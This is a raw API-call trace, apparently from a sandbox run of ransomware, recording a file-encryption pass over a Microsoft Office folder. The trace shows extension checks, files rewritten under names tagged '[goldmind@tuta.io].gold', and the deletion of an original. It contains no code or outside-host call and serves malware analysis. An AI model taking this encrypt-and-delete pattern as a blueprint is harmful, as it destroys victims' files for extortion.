1 [0110.000] lstrlenW (lpString=".bz2") returned 4 [0110.000] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.000] lstrlenW (lpString=".7z") returned 3 [0110.000] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0110.000] lstrlenW (lpString=".dbf") returned 4 [0110.000] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0110.000] lstrlenW (lpString=".1cd") returned 4 [0110.000] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0110.000] lstrlenW (lpString=".jpg") returned 4 [0110.000] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0110.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0110.001] lstrlenW (lpString=".doc") returned 4 [0110.001] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.001] lstrlenW (lpString=".docx") returned 5 [0110.001] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0110.001] lstrlenW (lpString=".pdf") returned 4 [0110.001] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.001] lstrlenW (lpString=".xls") returned 4 [0110.001] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.001] lstrlenW (lpString=".xlsx") returned 5 [0110.001] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0110.001] lstrlenW (lpString=".ppt") returned 4 [0110.001] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0110.001] lstrlenW (lpString=".zip") returned 4 [0110.001] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.001] lstrlenW (lpString=".rar") returned 4 [0110.001] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.001] lstrlenW (lpString=".bz2") returned 4 [0110.001] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.001] lstrlenW (lpString=".7z") returned 3 [0110.001] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0110.001] lstrlenW (lpString=".dbf") returned 4 [0110.001] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0110.001] lstrlenW (lpString=".1cd") returned 4 [0110.001] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0110.001] lstrlenW (lpString=".jpg") returned 4 [0110.001] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.001] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0110.001] lstrlenW (lpString="AUTHZAX.DLL") returned 11 [0110.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0110.003] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=69000) returned 1 [0110.003] CloseHandle (hObject=0x194) returned 1 [0110.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll")) returned 0x20 [0110.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0110.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0110.004] lstrlenW (lpString=".doc") returned 4 [0110.004] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.012] lstrlenW (lpString=".docx") returned 5 [0110.012] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0110.012] lstrlenW (lpString=".pdf") returned 4 [0110.012] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.012] lstrlenW (lpString=".xls") returned 4 [0110.012] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.028] lstrlenW (lpString=".xlsx") returned 5 [0110.036] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0110.036] lstrlenW (lpString=".ppt") returned 4 [0110.036] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0110.036] lstrlenW (lpString=".zip") returned 4 [0110.037] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.037] lstrlenW (lpString=".rar") returned 4 [0110.037] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.037] lstrlenW (lpString=".bz2") returned 4 [0110.037] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.037] lstrlenW (lpString=".7z") returned 3 [0110.037] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0110.037] lstrlenW (lpString=".dbf") returned 4 [0110.037] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0110.037] lstrlenW (lpString=".1cd") returned 4 [0110.037] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0110.037] lstrlenW (lpString=".jpg") returned 4 [0110.037] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0110.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0110.037] lstrlenW (lpString=".doc") returned 4 [0110.037] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.037] lstrlenW (lpString=".docx") returned 5 [0110.037] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0110.037] lstrlenW (lpString=".pdf") returned 4 [0110.037] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.037] lstrlenW (lpString=".xls") returned 4 [0110.037] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.037] lstrlenW (lpString=".xlsx") returned 5 [0110.037] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0110.037] lstrlenW (lpString=".ppt") returned 4 [0110.038] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0110.038] lstrlenW (lpString=".zip") returned 4 [0110.038] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.038] lstrlenW (lpString=".rar") returned 4 [0110.038] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.038] lstrlenW (lpString=".bz2") returned 4 [0110.038] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.038] lstrlenW (lpString=".7z") returned 3 [0110.038] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0110.038] lstrlenW (lpString=".dbf") returned 4 [0110.038] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0110.038] lstrlenW (lpString=".1cd") returned 4 [0110.038] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0110.038] lstrlenW (lpString=".jpg") returned 4 [0110.038] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.038] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0110.038] lstrlenW (lpString="BCSAutogen.dll") returned 14 [0110.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0110.039] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=50048) returned 1 [0110.039] CloseHandle (hObject=0x194) returned 1 [0110.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll")) returned 0x20 [0110.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0110.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0110.041] lstrlenW (lpString=".doc") returned 4 [0110.041] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.041] lstrlenW (lpString=".docx") returned 5 [0110.041] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0110.041] lstrlenW (lpString=".pdf") returned 4 [0110.041] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.041] lstrlenW (lpString=".xls") returned 4 [0110.041] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.041] lstrlenW (lpString=".xlsx") returned 5 [0110.041] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0110.041] lstrlenW (lpString=".ppt") returned 4 [0110.041] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0110.041] lstrlenW (lpString=".zip") returned 4 [0110.041] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.041] lstrlenW (lpString=".rar") returned 4 [0110.041] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.041] lstrlenW (lpString=".bz2") returned 4 [0110.041] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.041] lstrlenW (lpString=".7z") returned 3 [0110.041] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0110.042] lstrlenW (lpString=".dbf") returned 4 [0110.042] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0110.042] lstrlenW (lpString=".1cd") returned 4 [0110.042] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0110.042] lstrlenW (lpString=".jpg") returned 4 [0110.042] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0110.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0110.042] lstrlenW (lpString=".doc") returned 4 [0110.042] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.042] lstrlenW (lpString=".docx") returned 5 [0110.042] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0110.042] lstrlenW (lpString=".pdf") returned 4 [0110.042] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.042] lstrlenW (lpString=".xls") returned 4 [0110.042] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.042] lstrlenW (lpString=".xlsx") returned 5 [0110.042] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0110.042] lstrlenW (lpString=".ppt") returned 4 [0110.042] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0110.042] lstrlenW (lpString=".zip") returned 4 [0110.042] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.042] lstrlenW (lpString=".rar") returned 4 [0110.042] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.042] lstrlenW (lpString=".bz2") returned 4 [0110.042] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.042] lstrlenW (lpString=".7z") returned 3 [0110.042] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0110.042] lstrlenW (lpString=".dbf") returned 4 [0110.042] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0110.042] lstrlenW (lpString=".1cd") returned 4 [0110.042] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0110.042] lstrlenW (lpString=".jpg") returned 4 [0110.042] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.042] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0110.042] lstrlenW (lpString="BCSClient.Msg.dll") returned 17 [0110.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0110.043] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=39776) returned 1 [0110.043] CloseHandle (hObject=0x194) returned 1 [0110.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll")) returned 0x20 [0110.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0110.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0110.044] lstrlenW (lpString=".doc") returned 4 [0110.044] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.044] lstrlenW (lpString=".docx") returned 5 [0110.044] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0110.044] lstrlenW (lpString=".pdf") returned 4 [0110.044] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.044] lstrlenW (lpString=".xls") returned 4 [0110.044] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.044] lstrlenW (lpString=".xlsx") returned 5 [0110.044] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0110.044] lstrlenW (lpString=".ppt") returned 4 [0110.044] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0110.044] lstrlenW (lpString=".zip") returned 4 [0110.044] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.044] lstrlenW (lpString=".rar") returned 4 [0110.044] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.044] lstrlenW (lpString=".bz2") returned 4 [0110.044] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.044] lstrlenW (lpString=".7z") returned 3 [0110.044] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0110.044] lstrlenW (lpString=".dbf") returned 4 [0110.044] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0110.044] lstrlenW (lpString=".1cd") returned 4 [0110.044] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0110.044] lstrlenW (lpString=".jpg") returned 4 [0110.045] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0110.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0110.045] lstrlenW (lpString=".doc") returned 4 [0110.045] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.045] lstrlenW (lpString=".docx") returned 5 [0110.045] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0110.045] lstrlenW (lpString=".pdf") returned 4 [0110.045] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.045] lstrlenW (lpString=".xls") returned 4 [0110.045] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.045] lstrlenW (lpString=".xlsx") returned 5 [0110.045] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0110.045] lstrlenW (lpString=".ppt") returned 4 [0110.045] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0110.045] lstrlenW (lpString=".zip") returned 4 [0110.045] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.045] lstrlenW (lpString=".rar") returned 4 [0110.045] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.045] lstrlenW (lpString=".bz2") returned 4 [0110.045] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.045] lstrlenW (lpString=".7z") returned 3 [0110.045] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0110.045] lstrlenW (lpString=".dbf") returned 4 [0110.045] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0110.045] lstrlenW (lpString=".1cd") returned 4 [0110.045] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0110.045] lstrlenW (lpString=".jpg") returned 4 [0110.045] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.045] lstrcmpiW (lpString1=".man", lpString2=".gold") returned 1 [0110.045] lstrlenW (lpString="BCSClientManifest.man") returned 21 [0110.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.053] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=26758) returned 1 [0110.053] CloseHandle (hObject=0x3b4) returned 1 [0110.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man")) returned 0x20 [0110.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0110.090] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.090] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0110.090] GetLastError () returned 0x0 [0110.090] ReadFile (in: hFile=0x3ac, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x6886, lpOverlapped=0x0) returned 1 [0110.117] WriteFile (in: hFile=0x3b0, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x6890, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x6890, lpOverlapped=0x0) returned 1 [0110.118] ReadFile (in: hFile=0x3ac, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.118] WriteFile (in: hFile=0x3b0, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0110.118] SetEndOfFile (hFile=0x3b0) returned 1 [0110.118] CloseHandle (hObject=0x3b0) returned 1 [0110.118] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.118] SetEndOfFile (hFile=0x3ac) returned 1 [0110.120] CloseHandle (hObject=0x3ac) returned 1 [0110.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man")) returned 1 [0110.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0110.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0110.172] lstrlenW (lpString=".doc") returned 4 [0110.172] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1 [0110.172] lstrlenW (lpString=".docx") returned 5 [0110.172] lstrcmpiW (lpString1=".docx", lpString2="t.man") returned -1 [0110.172] lstrlenW (lpString=".pdf") returned 4 [0110.172] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1 [0110.172] lstrlenW (lpString=".xls") returned 4 [0110.172] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1 [0110.172] lstrlenW (lpString=".xlsx") returned 5 [0110.172] lstrcmpiW (lpString1=".xlsx", lpString2="t.man") returned -1 [0110.172] lstrlenW (lpString=".ppt") returned 4 [0110.172] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1 [0110.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0110.172] lstrlenW (lpString=".zip") returned 4 [0110.172] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1 [0110.172] lstrlenW (lpString=".rar") returned 4 [0110.172] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1 [0110.172] lstrlenW (lpString=".bz2") returned 4 [0110.172] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1 [0110.172] lstrlenW (lpString=".7z") returned 3 [0110.172] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1 [0110.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0110.172] lstrlenW (lpString=".dbf") returned 4 [0110.172] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1 [0110.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0110.172] lstrlenW (lpString=".1cd") returned 4 [0110.172] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1 [0110.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0110.172] lstrlenW (lpString=".jpg") returned 4 [0110.172] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1 [0110.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0110.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0110.172] lstrlenW (lpString=".doc") returned 4 [0110.172] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1 [0110.172] 